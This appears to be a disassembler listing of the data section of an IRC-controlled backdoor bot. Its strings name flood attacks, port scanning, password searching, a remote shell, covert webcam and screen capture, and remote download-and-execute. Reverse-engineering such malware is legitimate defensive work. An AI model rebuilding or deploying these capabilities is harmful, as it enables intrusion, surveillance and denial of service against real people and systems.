		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_4300D0	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_430104	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 10h
dword_430150	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_43019C	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_4301E4	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_43022C	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_430258	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_4302A4	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_4302DC	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 10h
unk_430320	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_430398	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4303CC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_4303FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_43042C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_430454	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_430490	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_4304C4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_4304FC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o
					; sub_40EE72:loc_414B4Co
		align 4
dword_430548	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_43057C	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 10h
unk_4305C0	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_4305FC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
dword_430630	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_430668	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_430694	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4306D4	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_430708	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_43074C	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_430784	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4307B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_4307E4	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_430808	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_430854	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_43087C	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4308A8	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_4308D4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_4308FC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_430938	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_430968	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_43099C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_4309E8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_430A38	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
		align 4
dword_430A7C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_430AC4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_430B08	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_430B4C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_430B80	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_430BBC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_430C04	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_430C40	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 4
dword_430C84	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_430CAC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_430CEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 10h
dword_430D20	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_430D4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_430D78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_430DA4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_430DC8	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E78o
dword_430DD4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_430E0C	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_430E38	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_430E64	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_430E6C	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_430E98	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_430EA0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_430EAC	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_430EB4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_430EF8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_430F28	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_430F4C	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_430F5C	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_430FB0	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_430FFC	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 4
dword_431044	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_43106C	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_4310A0	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4310EC	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_43112C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_431148	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_43117C	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_4311C4	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_43120C	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_431248	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_431290	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 10h
unk_4312D0	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431318	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_431358	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_4313A0	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_4313DC	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_43142C	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_431468	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
